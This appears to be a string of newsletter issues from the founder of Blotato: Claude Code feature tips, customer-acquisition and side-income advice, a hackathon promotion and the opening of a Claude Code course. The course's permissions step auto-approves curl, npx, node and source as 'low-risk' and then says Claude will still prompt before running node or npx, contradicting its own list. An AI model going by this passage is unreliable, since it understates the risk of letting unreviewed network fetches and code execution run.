In my /crosspost skill, if I have 5 new videos, Claude spawns 5 transcription agents at once. All 5 videos get transcribed simultaneously. Then 5 more to publish them all at once. What used to be sequential is now parallel.

You’ll see it happening in the output. Multiple tasks running at the same time. No configuration needed.

Before: watching Claude research competitors sequentially for 10 minutes.

After: 5 agents, 2 minutes, same work. Automatically.

Sit back and watch it spawn 5 agents working simultaneously!

It will say “Agent: Research XX competitive analysis” 5 times :) these are your AI employees working in parallel.

28. Remote Control (Use Claude From Your Phone)

Start a Claude Code session on your computer, then continue it from the Claude mobile app on your phone. Walk away from your desk. Keep working from the couch, a coffee shop, anywhere.

Your computer does all the heavy lifting. The phone is the remote control.

As of March 13 2026, remote control is available in terminal, but NOT in Visual Studio Code’s official Claude Chrome extension.

Pro tip: you can always open a terminal within VSCode!

How to set it up:

1. Make sure you’re on Claude Code v2.1.51+ (type claude --version to check, claude update to upgrade)

2. Type claude remote-control in Terminal (or /rc inside an existing session)

3. A QR code appears on screen. Scan it with your phone camera.

4. The Claude mobile app opens directly to your session. You’re connected.

Everything stays on your machine. The phone is a window into your local session.

To enable this by default: type /config inside Claude Code, find “Enable Remote Control for all sessions”, toggle it on. Now every session is accessible from your phone automatically.

Before: need to be at your desk to use Claude Code.

After: start a task at your desk, continue it from your phone while walking the dog or ruminating on the toilet. CEO mode.

29. Scheduled Tasks (/loop)

Schedule Claude to run tasks on a recurring timer using /loop.

/loop 1h check if any new files were added to my Google Drive

/loop 1d pull my marketing data from Airtable and summarize

You write the interval and the task in plain English. Claude runs it automatically in the background. Type Show me all my scheduled tasks to see what’s running and cancel anything you don’t need.

2 things to know: tasks in the terminal only run while your session is open (close the terminal, they stop). And they auto-expire after 3 days as a safety net.

For permanent recurring tasks, you’d have to use the Claude Code Desktop app, which has other limitations. Personally, this is why I still use n8n for its orchestration layer, especially with n8n-mcp which allows Claude Code to create and fix all my n8n automations.

Before: manually pulling the same report every morning.

After: /loop 1d summarize yesterday’s sales and it’s waiting for you when you sit down.

30. Version Control with Git

Every time Claude makes changes, you want a save point you can roll back to. That’s git. It’s already built into Claude Code.

Git is LOCAL. It saves versions on your computer. Think of it like a timeline of every change Claude ever made. You can rewind to any point. Nothing gets lost.

GitHub is the OPTIONAL cloud layer on top. It backs up your project online, lets you share it with a developer, and lets them review what Claude did. If you work with a team or want cloud backup, it’s worth setting up. But if you’re working solo, local git is all you need to start.

Claude Code works with both natively. Save versions, create branches, roll back mistakes, open pull requests for your developer to review... all from the terminal.

Before: Claude makes changes and you pray nothing breaks. No undo button.

After: every change is saved, documented, and reversible. You roll back to any previous version in seconds.

---

Where to Start (Don’t Learn All 30 at Once)

The shiny object trap is the #1 waste of time. Master 5 concepts before adding the next 5.

Your first week (concepts 1-8):

1. Install it and open the terminal

2. Give it a file and watch it read + edit

3. Watch the tools work in real time (concept 5)

4. Create a CLAUDE.md with 3 rules for your main project

5. Use Plan mode for your first real task

After a week (concepts 9-20):

- Learn how the whiteboard works and manage your costs

- Switch between models to save money

- Set up memory so Claude remembers your preferences

- Build your first skill (start with something simple)

- Try VS Code for reviewing changes

After a month (concepts 21-30):

- Connect your first MCP server (Airtable, Notion, or Google Drive)

- Add Perplexity MCP and create a /fact-check skill

- Install the context-mode plugin to reduce token usage

- Set up remote control to use Claude from your phone

- Schedule a recurring task with /loop

- Save your work with git so you can roll back anytime

- Check /insights to see what’s working and optimize your usage

- Browse prebuilt skills

Speaking of prebuilt skills... hundreds of free ones already exist on GitHub. Browsing these repos is one of the best ways to learn what’s possible AND save yourself the work of building from scratch:

- anthropics/skills: Anthropic’s official skills (docs, PDFs, slides, web apps, API builders)

- hesreallyhim/awesome-claude-code: a directory of the entire Claude Code ecosystem

- alirezarezvani/claude-skills: 180+ skills for engineering, marketing, compliance

Simply drop the URL into Claude Code and tell it to set up the 3 most relevant skills for your needs :)

Just my one /crosspost skill saves me 10+ hours every week. And I keep making it better. Finetuned to my exact use case. Build once, reuse forever, improve over time.

Start today. Open the terminal. Type `claude`. Build something.

If you LOVE this newsletter, please SHARE it to help teach more people for FREE!

---

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

In case you missed it:

• This Claude Code SEO Workflow Ranked Me #1 on Google

• How I code profitable apps SOLO

• OpenClaw vs Google mass ban wave

• Transform ChatGPT into a money making machine

• The FIRST AI Agent that makes on-brand social media posts

Most startups die before they hit 5 customers.

Not because the product is bad. Because the founder doesn’t know where to FIND people.

I put together my FULL playbook for getting your first customers.

15 free methods. 6 paid methods. Every single one I've either done myself, am testing right now, or plan to try.

I grew Blotato from 0 to thousands of paying customers, completely SOLO, and I'm STILL doing most of these marketing channels.

None of them "tapped out."

They all keep working, 100x more users later.

Today I'm breaking it down step by step.

To support my free AI education: HIT LIKE + LEAVE A COMMENT🙏

The FREE Methods

1. Reach Out to Friends, Family, and Past Colleagues

I’m going to be honest. I skipped this one entirely.

I didn’t know any content creators or influencers in my network. And I didn’t want to deal with explaining what I was building to people who wouldn’t get it.

But if your product or service is relevant to people in your warm network... start here.

I know consultants who landed their first client from a friend’s referral. They did the work, built a case study, and used it to reach out to strangers.

The benefit of warm relationships: you have leeway to figure things out. You’re not under pressure to nail it for a cold client on day 1.

Even 1 or 2 warm users gives you a testimonial, a case study, and the confidence to go bigger.

2. Send DMs on Instagram, Substack, Twitter, and LinkedIn

People sleep on this one SO hard.

I check my DMs. I check people who offer value. And I’ve hired from cold DMs.

Real example: I posted this LinkedIn post sharing feedback from my husband about my YouTube videos needing more polish. It wasn’t a hiring post.

A guy commented saying he re-edited one of my videos with a before and after sample. Then he cold DM’d me directly.

I hopped on a call with him the next day. Engineering background. Hired him on the spot. He edits my YouTube videos now.

Here’s the formula:

Find someone relevant. Do the work upfront. Show them a sample BEFORE asking for anything. Make it dumb simple for them to say yes.

The OTHER way to use DMs is to have people DM YOU.

I posted this Instagram video and said “comment X to get the free template.” Almost 3,000 comments in a day. All automated with ManyChat on the backend.

You don’t need 3,000 comments. 30 people raising their hand is HUGE when you’re starting out.

You’d be surprised how often people respond to professional, non-salesy DMs. Be a human. Offer value first.

3. Post on Facebook, Skool, and WhatsApp Groups

I neglect this path. And every single time I do it, it works.

Real example: I’m in the n8n Developers Facebook group. I copied a description from my help docs, explained what the automation does, and posted the template in the comments linking to my product.

Didn’t go viral. Didn’t need to.

Every person in a niche Facebook group is HIGHLY qualified. They’re already interested in the exact thing you do.

The mistake people make: they spam and sell without ever contributing.

I answer questions. I share automations with nothing to do with Blotato. I show up as a real member of the community. So when I DO post about my product, people support it.

My last post was in October. I keep telling myself to do this more. Every time I remember, it works. Then I forget again for months.

If you’re reading this and you haven’t posted in your niche communities this month... go do it. Right now.

4. Post Short Content and Videos on Social Media

I’m biased. I think everyone should do this.

I launched a full tutorial on exactly how to do this. Choosing a niche, copying hooks, everything.

The #1 mistake: people try to be too clever with their hooks.

Scroll Instagram. See what’s already going viral. Copy the hook. The title. The positioning. The colors. The font size.

Don’t change a billion things. Look as close to the original viral video as you’re able to. Then put YOUR spin on the content.

For engagement, pick 1 primary platform. After you post, engage for the first hour. If a video gets more views than usual in hour 1, double down on the winner. Reply to every comment on your winner.

You don’t need to engage on every video across every platform. Pick the one taking off.

One website I LOVE for inspiration: Social Growth Engineers. They curate viral TikTok videos. It’s mindblowing to see the creative hooks people use to promote apps and products.

I subscribe to their free newsletter. It’s one of the only newsletters I look forward to reading every week.

5. Post Long-Form YouTube Videos

This is different work than short-form. WAY different.

My short-form is raw, authentic, unscripted. My long-form used to be completely off the cuff too. Now I prep outlines and have a video editor.

The strategy: post videos showcasing your expertise. If you sell AI automations, post a full AI automation course. Tutorial-style content where your product is naturally woven in.

Don’t make the video ABOUT your product. Make it about the problem. Your product shows up as the solution while you’re teaching.

If you’re a consultant, go deep on your area. Financial advisor? Post long-form breakdowns of tax strategies. Your authority builds with each video.

This is a slower burn than short-form. But the people who find your long-form content are MUCH more qualified. They spent 20 minutes with you. They trust you way more than someone who saw a 30-second TikTok.

6. Send Cold Email

I haven’t done this for Blotato. I was so scarred from cold outbound at my 1st startup, I’ve avoided it.

But I see the math.

Use AI and automation to scrape emails. Google Business listings are a goldmine for local businesses. You write the value prop, AI personalizes at scale, and you send.

If your targeting is right and your value prop is right… it’s cost-effective and scalable.

This is definitely a channel I’m interested in exploring.

7. Submit to Directories

Product Hunt is the obvious one. But it’s hard to rank top 3 without an existing user base or community.

But there’s also SubmitJuice, which automates submissions to tons of directories at once.

This is a “set it and forget it” type of task. Submit your product, get backlinks, pick up a few users who are browsing directories.

I don’t think this drives massive traffic on its own. But it compounds with everything else.

More backlinks = better SEO = more organic traffic over time.

8. Revenue Share with Affiliate Partners

Find people who already have your audience. Offer them a cut of every sale they send you.

This works GREAT when you find the right partners. The key: they need to genuinely understand your product and the pain points it solves.

One of my biggest challenges with affiliate and influencer marketing early on... non-technical influencers didn’t understand the API side of Blotato. And the web app didn’t get much love so it remained confusing to use.

As a result, their content came across inauthentic because they couldn’t articulate what it does and many THOUSANDS of dollars totally wasted with negative ROI.

Don’t do what I did! You want affiliates who USE your product and understand the space. Who feel the pain it solves. Who talk about it like it’s their own.

9. Post on Relevant Product Forums

If your product integrates with another product, go hang out where THEIR users are.

Blotato integrates with n8n. So I post templates on the n8n workflow library and contribute to the n8n community forum.

Every template links back to my product.

Every forum answer builds credibility.

This is free, targeted, and compounds over time. The templates stay up FOREVER. People find them months later and become users.

10. Rank in AI SEO for a Specific Keyword

This one I haven’t started. And I’m kicking myself.

The play: target “Competitor + Alternatives” keywords. Like “Buffer alternatives” or “Hootsuite alternatives.”

People searching those keywords are READY to switch. They’re already looking for something new. They’re warmed up, educated, bottom-of-funnel potential users. You don’t need to convince them they need the product category.

You just need to show them YOUR product is better.

I plan to do an SEO push with Claude Code soon. I want to automate 95% of my SEO, then open-source everything I did :)

11. Build Free Public Lead Magnets

I built an AI agents directory in about 1 hour.

It’s a curated spreadsheet.

Thousands of people visit it every month. My Supabase backend kept hitting quota limits from the traffic so I recently upgraded it.

The directory has my product naturally embedded. If someone’s looking for content creation tools, Blotato shows up as “featured.” If they’re looking for customer support tools, it doesn’t show up. Because it’s not relevant.

Your product appears naturally where it fits. No hard sell.

Other lead magnet ideas:

Curate 500 viral hooks for your niche. Give away the first 500 free. Gate the next 500 behind an email signup.

The lead magnet does double duty: drives traffic AND collects emails.

12. Offer Influencers a Webinar or Masterclass

Flip the script. Instead of paying an influencer to promote you, offer to HOST a free high-value webinar for their audience.

You bring the expertise. They bring the audience. Win-win.

You get in front of a warm audience, you demonstrate your expertise, and your product is woven into the demo naturally.

To get an influencer to agree to this, however, you need to be incredibly generous in providing value first. We generally don’t put randos in front of your audience :) engage naturally in their audience/community, give a ton of value, then make the proposal.

13. Reverse Job Board with Upwork

Go on Upwork. Search for people looking for help with the problem your product solves.

Pitch them your tool or service as the solution.

This is a bit more manual. But the people on Upwork are ACTIVELY looking for a solution and willing to pay for it. You’re not convincing anyone they have a problem. They already know.

14. Create a Free Custom GPT

I built a custom GPT called Viral Hooks for Short Form Video.

I had a database of 1,000+ viral hooks I scraped from TikTok. I made it a free lead magnet. Then loaded it into a custom GPT.

Now thousands of people use it. Blotato is mentioned right in the GPT. It drives awareness with zero ongoing effort from me.

If you have any kind of valuable dataset or framework, turn it into a free GPT. It takes an hour. The traffic compounds.

15. Build Local Relationships

Chamber of Commerce. Local Facebook groups. Meetups.

I haven’t done this. I’m introverted. I don’t love talking to people in person.

But if your product or service targets local businesses... this is gold. Show up, build relationships, become the “AI person” in your local network.

Not every business needs to scale globally. Some of the best first customers come from your neighborhood.

The PAID Methods

16. Pay for Leads with Apollo

Apollo lets you search for specific types of people and companies, get their emails, and reach out.

I’ve poured over $100,000 into paid acquisition channels. The ROI has been NEGATIVE. Like, a lot negative.

Be careful with this one. Start small. Test your messaging. Don’t dump your budget into cold outreach before you’ve validated your value prop with free methods first.

17. Facebook Ads Funnel to Landing Page

Classic paid acquisition. Run ads. Send people to a landing page. Convert.

I’ve spent money here. Lost money here. Learned a lot.

If you’re going to do this, start with a tiny budget. Like $10-20/day. Test different hooks and landing pages. Don’t scale until you see positive ROI.

Most people throw money at ads before they’ve figured out their messaging. Fix the messaging with free methods first. THEN amplify with ads.

18. Vibe Code Micro Apps to Drive Traffic

Build a small, free tool related to your product. Something people search for.

Example: Taplio built a free LinkedIn post generator. People search “LinkedIn post generator,” find the free tool, love it, and upgrade to the paid product.

I do this. The tool itself is free. But you’ll pay for vibe coding tools and hosting.

The ROI is wild once you rank for the right keyword. It’s like SEO but you’re ranking a TOOL, not an article.

19. Micro Press Coverage with HARO and ABNewswire

HARO (Help a Reporter Out) lets you answer journalist calls for quotes. I used this at my first startup and got featured in Business Insider.

It’s 1 quote from you, your name, your title, and a link to your product. Free backlinks. Free credibility.

ABNewswire is something I’m testing right now. You pay $80 for a press release targeting a specific keyword. The press release goes out to news outlets and... you start showing up in ChatGPT AI answers for those keywords.

I saw someone on Instagram say they did this and started ranking in AI search results. I’m testing it with “social media scheduling API” as my target keyword.

$80 experiment. We’ll see.

20. Listen to Social Conversations with OGTool

OGTool and similar tools use AI to monitor social media conversations (Reddit, Twitter, forums) and surface the ones relevant to your product.

Every day, you get the top 3 Reddit posts about painpoints you solve. You go in there and reply with a genuine, helpful answer.

The mistake: people try to automate the REPLY too. Don’t.

Use AI to find the conversations. Be a human when you engage. Share something personal. Be a little vulnerable. It stands out like crazy compared to the obviously bot-written responses.

This is on my to-do list. I see the value. I haven’t gotten around to it because I have so many comments coming in every day. I don’t want MORE conversations.

But it works. Especially for SEO and LLM visibility. Your replies get indexed by ChatGPT and other AI engines.

21. Sponsor Niche Newsletters or Micro Influencers

Passionfroot is a platform with a curated directory of influencers. You search by niche, follower count, platforms, and pricing.

You don’t need this platform. You’d get the same result DMing influencers directly. But it streamlines the search.

Where people go wrong: they go after big influencers first.

Someone with 1,000 TikTok followers has the same likelihood of going viral as someone with 1 million. TikTok is democratized like no other platform.

What you want: micro influencers who UNDERSTAND your product and your audience. Not big names who just want the paycheck and will forget about you immediately.

Start micro. Save your budget.

Get 5 customers, not 5 million impressions.

My Honest Pick

If I had to pick 1 method for someone starting from zero...

Short-form video content. Method #4. Every time.

It’s free. It compounds. And it feeds EVERYTHING else on this list.

Your short-form video becomes a forum post. Becomes a lead magnet. Becomes a long-form script. Becomes an affiliate’s content to remix.

I grew from 0 to 1.7+ million followers making content 1 day per week. Solo. No team. No budget. No editor. No paid ads.

You don’t need 1.4 million followers to get 5 customers. You need like... 10 videos.

Pick 3-4 methods from this list. Try them for 30 days. See what works. Double down on the winner.

And remember…

You don’t need 5,000 customers right now.

You need your first 5. Then 50. Then 500.

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

Millions quit OpenAI and switch to Anthropic Claude.

Sensor Tower reports uninstalls of ChatGPT’s mobile app jumped 295% day-over-day.

Earlier today March 3rd 2026, OpenAI CEO Sam Altman concedes: "We shouldn’t have rushed to get this out on Friday. The issues are super complex, and demand clear communication. We were genuinely trying to de-escalate things and avoid a much worse outcome, but I think it just looked opportunistic and sloppy."

Why is Everyone Canceling ChatGPT?

Cutting through the noise and explaining the real story:

This is a few days older but has cooler music :D

How To Cancel ChatGPT and Switch to Claude

Step-by-step tutorial to migrate from ChatGPT and to Claude.

In this beginner tutorial, I’ll walk you step-by-step through how to cancel your ChatGPT subscription and switch over to Claude, without starting from scratch.

If you’re exploring AI tools and want a simple stress-free transition, this video will show you exactly what to do.

Here’s the Biography Prompt referenced in the video:

"write a complete and thorough biography about me based on all our conversations. ask me clarifying questions about anything you're uncertain about that is important and should be included."

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

She earned over $100,000+ in her first 6 months.

She’s now earning more income than ever before.

I told her… she’s just getting started :)

Now, she shares how YOU can do it too!

Here are all the topics we cover:

1. The Exit Plan: Escaping the Corporate 9-to-5

2. Balancing a Side Hustle With 2 Kids & Full-Time Travel

3. Getting Your First Client & Automating Workflows

4. How to Master AI Without a Tech Background

5. Avoiding Tutorial Hell: Make.com & Custom GPTs

6. Create vs. Consume: The Mindset Shift That Pays

7. High-ROI AI Skills for Beginners in 2026

8. Overcoming Cringe: Posting Your First Talking Head Video

9. 158 Followers to Enterprise Clients in Under a Year

10. Social Media Strategy: Getting High-Value Leads

11. Free Workshops: The #1 Lead Generator Nobody Uses

12. Local Business Chambers & Offline Networking for AI Leads

13. From Freelancer to Corporate AI Consultant

14. Why Most Companies Are Still Stuck at “Build a GPT”

15. Strategy-First AI Consulting (Not Prompt Engineering)

16. How to Upskill in AI While Still Employed

17. Claude Cowork vs. Claude Code for Business Teams

18. Scaling an AI Business to 6 Figures and Beyond

19. 2 Proven Paths to Start Your AI Career Today

Connect with Brooke

I highly encourage you to connect with Brooke, especially if you’re looking for Claude AI Training for your team. She’s the real deal hands-on builder and problem solver:

• Instagram: https://www.instagram.com/wright_mode

• Linkedin: https://au.linkedin.com/in/brooke-wrightmode

• Youtube: https://www.youtube.com/@WrightMode

If you have questions, please drop them in the Youtube comments so we can promptly answer!

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

In case you missed it:

• Give me 55 seconds and I’ll delete your fear of failure

• the EASIEST Claude Code + MCP tutorial

• Free community for Women Building AI

• Viral resume writer prompt

Today, I share 8 Income Streams You Can Build While STILL Employed!

Because if you earn 1 paycheck, you are 1 layoff away from $0.

To support my free AI education: HIT LIKE + LEAVE A COMMENT🙏

The smart move?

Build a side income BEFORE you need it!

I’m not talking about random side hustles.

Each of the 8 income streams I’m about to share either sells your expertise, sells attention, or sells automation.

And each one can be started on nights and weekends while you’re still fully employed.

1. Train AI Models With Your Expertise

We all know ChatGPT is great for general tasks.

But imagine high-stakes, real-world domains — finance, healthcare, law, science — where being wrong has dire consequences. People go to school for YEARS before they’re allowed to serve customers in these fields, and accuracy matters enormously.

The problem?

LLMs hallucinate. They’re often not trained with deep, specialist domain expertise.

That’s where you come in.

Startups will literally pay you to label data and train AI models for specialized tasks. They CANNOT hire random people off the street — they need YOUR domain knowledge.

One company doing this is Mercor. Here’s what they’re paying:

• Radiologists: $290–$340/hour

• Software Engineers (QA): $70–$120/hour

• Lawyers: up to $150/hour

• Sales & Management: $90–$150/hour

• Project Management Specialists: $90–$150/hour

And Mercor isn’t the only one — there’s a growing number of startups offering these opportunities.

2. Build Your Personal Brand

The next 3 are content-related because I’m passionate that this is the ULTIMATE SHORTCUT.

It’s free, part time, and accessible to everyone w/ wifi.

You can absolutely start even if you’re fully employed.

I only created content 1 day per week for the longest time.

Even now, I still batch 90% of my content 1 day per week, but I’ve added 3 more Youtube videos on WEEK NIGHTS (630pm-8pm) because I’m trying to crack that channel faster.

Yes, at my level:

1 day per week + a few weeknights!

(I spend most of my time building my app or enjoying life)

If I can do it, you can definitely do it.

Post in the evenings, post on weekends.

One of the most common questions I get:

“How much can you actually make as an influencer?”

Impact.com released their 2025 data on influencer pay rates across platforms. Here’s the breakdown:

Most popular platforms: Instagram (92%), TikTok (43%), Facebook (41%).

How much influencers get paid on Instagram:

• Nano influencer (<10K followers): $500–$2,000 per post

• Macro influencer: $20,000–$45,000 per post

TikTok has similar slightly lower numbers.

If you think these numbers are crazy — I can tell you from personal experience they’re not. I’ve experimented a lot with paid influencer marketing for my app and these numbers are pretty normal. Especially in the AI space, where every company is trying to buy creators.

Let’s do some quick math. Say you post content one day a week. In 12 months, you have a nice small following You start charging $500 per sponsored post and do 5 per month.

That’s $2500/month in side income.

Do I think sponsorships are the best path to millions? No.

But we’re talking about income you can earn while employed — and this one is very high leverage, compounding over time.

3. Build a Faceless Brand

What if you don’t want to show your face?

Everyone is confused about the term “faceless.”

Faceless does NOT mean AI slop. Faceless has gotten a bad rap because so many people are pumping out low-quality AI-generated content that happens to be faceless.

But if you ask anyone who’s been on YouTube for years, faceless just means there isn’t a central person or face in the videos.

That’s it. It’s a format, and it’s been around FOREVERRR.

I found a TikTok video where someone just points at their phone, talking about how to clean your phone speakers using a specific audio track. No face. Just pointing and talking. 90 secs.

That faceless video got 95 MILLION views.

You can also use AI avatars for faceless content… but that doesn’t mean your content is good. The burden is still on you to make it engaging, timely, interesting. You still need to experiment with hooks, trending topics, try dynamic cuts and edits.

One huge bonus of a faceless brand?

You can eventually outsource everything or even sell the brand entirely since your personal identity is NOT attached to it.

4. Repurpose Content for Big Creator

This is a really interesting offer I’ve been thinking about.

If you listen to me, Gary Vee, or literally anyone in content, our advice for ALL creators gaining traction is:

Go cross-platform.

Most creators delay this way too long.

I wish I started my Instagram 6 months sooner.

Heck, I STILL haven’t started X, Snapchat, Pinterest, Bluesky, Reddit, Lemon8, RedNote, etc.

As someone who gets lots of DMs every day selling me stuff, here’s the specific offer that would ACTUALLY make you stand out…

DM a creator with at least 50k followers on 1 platform and say:

“Hey, I saw you’re crushing it on PLATFORM but invisible on OTHER_PLATFORM. Let me own OTHER_PLATFORM for you, you won’t have to do anything.”

This is a WAY better offer than just “I do video editing.”

You’re saying: “You’re crushing it on TikTok? Let me help you automatically grow on Instagram. You don’t have to do anything. I’ll repurpose your content optimized for that platform, setup DM automations to drive followers to your offer, etc.”

The reason I love this:

The creator gets growth on a new platform with zero effort, and you get paid recurring income.

Win-win.

5. Coach People on Claude Code

What is the hottest mainstream AI tool in 2026?

It is Claude Code.

OpenClaw is up there too but not mainstream yet. I mean like NORMAL people, not tech twitter bubble hype.

Here’s what I’d do: spend 2 weeks FOLLOWING Claude Code tutorials (not just passively watching).

That alone puts you ahead of 99.9% of people. Then share what you learned via TikTok or Instagram:

“Hey, here’s how to set up Claude Code. Want a one-on-one session where we walk through it together on a screen share? Link in bio.”

The product is SO good that if you just help people set it up and get them typing, it will blow their mind and you look like a genius for coaching them through it.

The key difference between coaching and consulting: coaching is about accountability and clarity. People don’t expect you to do everything for them. You guide them.

And right now, Claude Code is the tool that everyone is trying to figure out.

The demand is massive.

6. AI Consulting

Like I said above, consulting is different: you do it for them.

Someone says, “We heard about Claude Code. We heard about AI agents. Can you come into my business and implement this?”

You go in and deliver.

HOWEVER, this income stream is harder if you have zero experience consulting and zero technical background. The process of closing a consulting client requires marketing and sales ability. You need to set expectations, sell them on what you’re doing, and then actually deliver.

Also, make sure it doesn’t conflict with your day job… the stuff you want to consult on is often the stuff you’re already doing at work. Tread carefully here.

But if you DO have industry experience and you’re comfortable getting clients? This can be a lucrative side income stream.

A nice variation of AI Consulting you can do while employed that takes FAR LESS work than actually building systems:

AI Training Consulting - training teams how to use AI tools.

7. TikTok Shop

This one might surprise you.

Do I think you’ll make millions on TikTok Shop? No. But it’s exploding right now. People are buying a LOT of stuff on TikTok Shop. Even as I scroll, I’m tempted to buy random stuff I definitely don’t need.

And TikTok Shop creators are generating real revenue.

Here’s why I think it’s worth including in this list:

Whatever you learn sets you up for everything else.

You learn core skills around content creation, experimentation, A/B testing, writing viral hooks, doing volume, staying consistent for a very long time.

So if you eventually want to transition to building your own personal brand? TikTok Shop teaches you how to be a great creator. It’s a natural stepping stone.

You can leverage AI here to dissect viral TikTok shop products and videos, then help you script your own versions.

8. Vibe Code Micro Apps

Big precaution here: for vibe coding to actually make money when you don’t have a technical background, you need to focus on one feature. ONE thing your app does.

Then spend 99% of your time on marketing.

That’s the reality.

Here’s a perfect example:

Lovable CEO recently tweeted that a user built a service that turns your pet photos into Renaissance portraits and ships the physical print to you. The app makes $100k per month.

The complexity is NOT the app. It’s a cute idea, designed well, paired with a physical product people are willing to pay for.

The flow is dumb simple:

upload photo → AI transforms it → it ships to you.

But oftentimes, people try to vibe code way too much.

They’re building CRMs and full systems without the technical ability to maintain them or fix bugs.

Keep it stupid simple.

User enters app, user does one thing, user gets the result.

Build that, then market the heck out of it!

Once you get paying customers coming in, THEN you decide: double down on this product and hire a real engineer? Or keep launching micro apps and testing new ideas?

Side income gives you optionality.

My Honest Pick

If I had to pick ONE out of all, it’s always personal brand.

Always.

It’s higher leverage and more accessible to people with no business or technical background than anything else on this list. It’s literally free to start. You don’t need a fancy phone, ring light, microphone, studio setup, coaching, courses, or anything.

Plus, I can’t overstate this:

The compounding benefits over time are just… incredible.

But at the end of the day…

The key is to just start. Pick one. Do it on nights and weekends. Build the income stream BEFORE you need it. Create leverage and optionality for yourself.

Because you definitely don’t want to be one layoff away from zero.

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

NO RULES!

100% FREE :)

Awesome opportunity to win $6k in cash prizes, meet hundreds of AI builders, and build your app from scratch.

Why Hackathons?

I did my very first hackathon in 2012.

They were a brand new thing at the time.

Me + my boyfriend (now husband) would drive from Berkeley (where we were college students) to San Francisco or San Jose to compete. We met other kids flying in from the East coast to participate.

We won prizes in several big ones.

MOST IMPORTANTLY:

Hackathons jumpstarted our crazy adventure into startups, building, and entrepreneurship.

Here’s a guest post from a 2012 hackathon where we won 3rd place:

https://blog.iron.io/guest-post-ironio-team-healthify/

... and here’s what we built that weekend:

In another big hackathon, called AngelHack, we built a quantum circuit simulator and called it Qurious. I did NOT have a very good answer to: “What’s your business model?” 😅

But we kept the same name for our 1st startup :)

And after the hackathon, we all toured Google HQ together!

Here’s another one…

2013 Berkeley x Bloomberg Hackfest write up:

My personal favorite hackathon was hosted by Box.

We built a tool called MortgageBlade after partnering with a realtor. We won a bunch of small prizes including a unicorn plushie Squishable (my 1st ever) which I kept for a decade, dragging it with me to each new apartment.

You can probably tell…

I’m a big fan of hackathons 😁

And with vibe coding democratizing coding, it’s crazy what you can build in 1 focused weekend.

Sign up here: https://www.skool.com/hackathon (it’s free)

The Schedule

Mar 5th - Last day to sign up

Mar 6th – Kickoff Livestream + Build Day

Mar 7th – Build Day + Check-ins

Mar 8th – Submission Deadline

Mar 8th – Live Demo & Winners

Prizes

• $3000 1st place

• $2000 2nd place

• $1000 3rd place

Sponsored by me/Blotato and Marcin Teodoru 🤟

+ your project showcased to our audiences

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

In case you missed these freebies:

• Win $6k at my Vibe Code Hackathon! (signup)

• If I had to make $1M from $0 (step by step)

• How to use Gemini AI in Google Sheets (tutorial)

• How I Code Profitable Apps SOLO (Feb 20 livestream)

Welcome to my…

Ultimate Claude Code FULL course!

From zero to hero; first time setup to 10X productivity.

We’ll walk through building your PERSONALIZED AI Marketing Officer with Claude Code.

You have an idea. You want to post to Twitter, LinkedIn, Instagram, and Facebook, each adapted for the platform, each with a visual, matching your brand voice. And you want it done in 30 seconds!

You’ll create 2 skills, a quality gate hook, brand voice guidelines, and a multi-platform publish pipeline utilizing parallel subagents.

Everything on your computer.

Everything tailored to YOUR WORKFLOW.

By the end, you’ll type 1 sentence and Claude will research your topic, draft a week of content, create visuals, show you the plan, wait for approval, and schedule everything to your socials.

Set aside 90 MINUTES to follow along.

Unlike other tutorials focusing on MCP or specific tools, here you’ll learn how to build repeatable frameworks, tailored to your preferences and workflows.

You’ll learn the fundamentals and be able to build ANYTHING.

If you haven’t installed Claude Code yet, follow this first.

Here is what we’ll build, step by step:

| Setup | Configure permissions, modes, context | Foundations |

| 1 | Create the `/post` skill | Skills | Verify pipeline end-to-end |

| 2 | Add per-platform brand voice | Skill iteration | Posts match your tone |

| 3 | Create a quality gate hook | Hooks | Automatic checks before every publish |

| 4 | Add multi-platform posting | Subagents | `/post “topic” all` -- 4 platforms |

| 5 | Create the `/plan-week` skill | Capstone | Full week of content & scheduled |

| 6 | Create CLAUDE.md | Project memory | Claude starts each session with context |

Claude Code Settings

Before we start, let’s talk about settings.

These are not hard/fast rules, but they are my preferences based on substantial lived usage/experience.

Permissions

As you use Claude Code, it will ask for permission to run many commands.

To avoid approving the same relatively safe commands over and over, paste this prompt into Claude Code:

add permissions to this claude code project to allow non-destructive bash commands: WebSearch, WebFetch, source, export, curl, jq, cat, ls, grep, echo, which, wc, file, pwd, mkdir, touch, head, tail, find, sort, tree, diff, node, npm, npx, git status, git diff, git log

Claude updates your `settings.local.json` where permissions live.

These are read-only or low-risk commands. Claude will still prompt you for commands that run code (`node`, `python3`, `npx`) or modify history (`git commit`) so you can review before approving.

Modes

Claude Code has permission modes that control how much autonomy Claude gets. I spend most of my time in Plan Mode or Ask Before Edits while Claude is planning.

I go back and forth on the plan -- a lot, probably 90% of my time. I read what Claude proposes, spar with it, request revisions, and only when the plan is finalized do I switch to Auto-Edit mode, then let Claude execute.

For this tutorial, that means:

when you run `/post` or `/plan-week` and Claude starts asking clarifying questions or showing you a content plan, you are in the planning phase. Stay in a restrictive mode. Once you approve the plan and tell Claude to go, switch to auto-edit so it moves fast.

Context

